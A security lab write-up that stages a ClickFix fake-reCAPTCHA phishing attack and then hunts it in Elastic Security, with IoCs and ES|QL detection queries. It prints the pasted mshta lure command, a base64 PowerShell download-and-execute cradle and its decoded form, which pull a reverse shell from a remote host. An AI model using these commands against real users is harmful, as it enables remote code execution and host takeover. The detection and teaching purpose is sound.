ClickFix Phishing Deployment and Detection
ClickFix, a type of phishing lure placed in the wild, has been leveraged multiple times over the past few years; springing up in recent months to fool more users. If you or an end user have fallen victim, we will today be taking a look at how Elastic Defend would track or prevent this attack.
Below is a video guide recorded in my lab. This is the accompanying write up:
The Attack:
ClickFix, reCaptcha Phish, Fake-Captcha, all refer to a novel new phishing technique involving leaving a lure to end users, prompting them to interact with the familiar, yet malicious reCaptcha:

Appearing as a legitimate captcha verification, and with the ability to further embed into more advanced impersonating sites, this phish has proven effective in tricking users into arbitrary code execution. It instructs the users to press Win key + R ultimately launching the Windows Run Dialogue box to run the LOLBin MSHTA.exe to run malicious hta files, or PowerShell to run encoded PowerShell.

Below we will deploy, detect, and identify this attack vector in Elastic Security.
The Setup:
In order to perform this experiment, we will need a few hosts:
Elastic: In order to host Elastic and Elastic Security, we will need to deploy Elastic. This is done in my lab via 2 Ubuntu server hosts. One runs Elastic, in charge of indexing and storing logs, and one runs Kibana and the Fleet server. The Kibana host is also the host running my fleet server for my agents. This is extremely bad practice and has no redundancy, no fail over, no load balancing, etc. This is fine in a lab setting as we will not need these features, but please do not do this in production.
ClickFix: To serve the attack vector, we will need another Ubuntu server. This server will be statically routed at 10.0.0[.]205 served over port 80 and normal http via Apache2. This allows me to just dump the index.html from John Hammond’s github straight into the /var/www/etc directory and go. This could also be done via a python server, etc.
Victim Host: This is the host that will fall victim to ClickFix and have the attack delivered. This could be a user at their corporate or home network attempting to download legitimate software being impersonated, or setup however the attacker would lure the victims into engaging with reCaptcha. This takes advantage of users’ familiarity with the legitimate reCaptcha to download a stager.
Others: We should also have a few things, a domain controller to manage the host. This can set command line auditing via GPOs, and auditing for necessary registry keys. Additionally, we may have a listener or C2 server for our final infostealer, reverse shell or other payload.
The Payload:
This clickFix demonstration is kindly set up with John Hammond’s reCaptcha Phish repository. In this repository, the reCaptcha page is set up to download the other script in the repository, /recaptcha-verify.

This payload is a malicious hta file that starts calc.exe via creating a COM object via the embedded Visual Basic Script:

Using this technique to proxy the execution of the payload allows for larger payloads. During my experimentation I had tried many direct PowerShell payloads, however the encrypted payloads extended the character limit in the Windows Run Dialogue box. Thus I settled on embedding the PowerShell in my malicious .hta file hosted on a test domain.
Notice additionally the comment near the end. The ‘#’ in PowerShell denoting a comment, and some flavor text to further fool the user.
The Final Payload:
The command line that will be pasted into the user’s Windows Run Dialogue box is now:
mshta http://satanonly[.]com/adminPage.hta #✅ "I am not a robot - reCAPTCHA Verification ID:1234"
This adminPage.hta runs uses the COM object to spawn and execute PowerShell:

powershell -ec cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABoAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABCAHkAcABhAHMAcwAgAC0AbgBvAGwAbwBnAG8AIAAtAG4AbwBwAHIAbwBmAGkAbABlACAALQBjACAASQBFAFgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwBzAGEAdABhAG4AbwBuAGwAeQAuAGMAbwBtAC8AYQBkAG0AaQBuAC4AcABzADEAJwApACkAOwA
This embedded PowerShell decodes to the following:
powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('http://satanonly[.]com/admin.ps1'));
Which runs and executes a PowerShell script in memory from a remote server. In this case ‘admin.ps1’ is a reverse shell configured to attach back to my Kali box on 10[.]0.0.127.
Executing the Attack
Upon running this code, not much happens. Maybe the user notices the screen flicker, and that is it. In the background, a malicious hta was downloaded, launched, and has ran PowerShell to download and launch a malicious reverse shell.

Analyzing the Attack in Elastic Security
At this point, although Elastic has been lit up, while not in prevent mode, the attack was able to fire off. Looking at these 8 alerts, we can immediately make some determinations.

The first two “Multiple Alerts Involving a User” and “Multiple Alerts in Different ATT&CK Tactics on a Single Host” indicate a real attack scenario. Unsophisticated stagers using minimal defense evasion like this, are often very noisy. These two alerts indicate which host and user are affected, and would strongly suggest isolation and remediation.
The next three all mention suspicious MSHTA or .hta usage. Advanced analysts may recognize this as a known Living Off the Land Binary (LOLBin), however this information is readily available in known databases such as the lolbas project, with a little OSINT. Suspicious child processes, and network connection strongly suggest a malicious process. These artifacts may be indicative of sacrificial process spawning, processes spawned for further execution, payload delivery, or persistence mechanisms, as well as C2 communications and potential exfiltration.
From these alerts, we can identify a few artifacts and indicators of compromise. Looking at the “Script Execution via Microsoft HTML Application” we can identify abuse of MSHTA including the command line from earlier. Notice this is not recognizing the relation between MSHTA spawning PowerShell or creating the oShell shell object


This is due to these detections being built only around watching the command line. Auditing is a constant balancing act between how much telemetry to gather, unnecessary noise, and performance issues on the endpoints vs enabling the security tools and analysts with ample visibility. In this scenario, I have enabled command line auditing via GPO, however if this is not enabled, the security team may not have even seen the above alerts.
Looking at any of the PowerShell alerts, we can next extract the encoded command as a possible IoC. We should also narrow down our searches using either the process PID, host name, or user name.

Extracted Artifacts and IoCs:
domain:
satanonly[.]com
files:
adminPage.hta (b0aec50ba6c99e899d33b257c6aaca0eca794c72cb6acd00c1be42e376e83ca9)
process command line:
“I am not a robot”
“reCaptcha”
“Verification ID”
“cABvAHcAZQByAHMAaABlA….”
From here we can write some queries to identify the malicious process and identify scope of the incident. We can harvest the PID and do things like check outbound connections, file reads, or child processes:
Finding the PID:
FROM logs-* | WHERE host.name == "desktop-1tb3r0i" AND process.name == "powershell.exe" AND process.command_line LIKE "*-ec cABvAHcA*" | STATS COUNT () BY process.pid | KEEP process.pid

Outbound Connections:
FROM logs-* | WHERE host.name == "desktop-1tb3r0i" AND process.name == "powershell.exe" AND process.pid == 9088 | STATS COUNT () BY destination.ip, source.ip

Interestingly enough, in this one we can observe the outbound connection to the S3 bucket where I store my “malware”
File Reads:
FROM logs-*
| WHERE host.name == "desktop-1tb3r0i" AND process.name == "powershell.exe" AND process.pid == 9088
| WHERE event.category == "file" AND event.action == "open"
| STATS COUNT () BY file.name
I performed no file reads, this was not an exercise in exfiltration. However, you could identify company secrets or credentials stolen here.
Child Processes:
FROM logs-*
| WHERE host.name == "desktop-1tb3r0i" AND process.parent.name == "powershell.exe" AND process.parent.pid == 9088
| STATS COUNT () BY process.name

At this point, we have identified scope, the attack vector, outbound communications, and files affected. We can engage with Incident Response, and remediate the user. This may include revoking any active sessions and removing any tokens, refreshing user credentials, and re-imaging the host machine.
Recognizing this as ClickFix/reCaptchaPhish/Fake-reCaptcha malware, and doing some OSINT on the attack vector, provides us with the registry key RunMRU. This key contains a list of single letter named REG_SZ values tracking command entries typed into the Run Dialogue box. The order of which is tracked under the key MRUList. This registry key is the one watched by other market leading EDRs for detection, although it has to be specifically audited in Elastic environments. Supplemental detections below.
Lessons Learned
During my experiments, I learned about the struggles with staging an attack and obfuscating my execution. I learned about the length restriction on the Windows Run Dialogue box and where those commands get logged. Modeling this in Elastic continues to show the strength of the built in detections, as well as the weaknesses and visibility gaps. I strongly recommend ensuring you and/or your clients are effectively monitoring for these IoCs by verifying visibility.
Detections:
Registry based supplemental detection:
FROM logs-*
| EVAL registry.data.strings = TO_LOWER("registry.data.strings")
| WHERE ENDS_WITH(registry.key, "RunMRU") AND ((registry.data.strings LIKE "*powershell*" AND (registry.data.strings LIKE "*-ec*" OR registry.data.strings LIKE "*-enc*")) OR registry.data.strings LIKE "*mshta*http*")

Process based detection:
FROM logs-*
| WHERE (process.parent.command_line LIKE "*reCAPTCHA*" OR process.parent.command_line LIKE "*not a robot*" OR process.parent.command_line LIKE "*prove*human*" OR process.parent.command_line LIKE "*mshta*http*" OR process.parent.command_line LIKE "*Verification Code*" OR process.parent.command_line LIKE "*Verification UID*" OR process.parent.command_line LIKE "*Verification ID*") AND process.name.caseless IN ("powershell.exe", "cmd.exe", "wscript.exe")

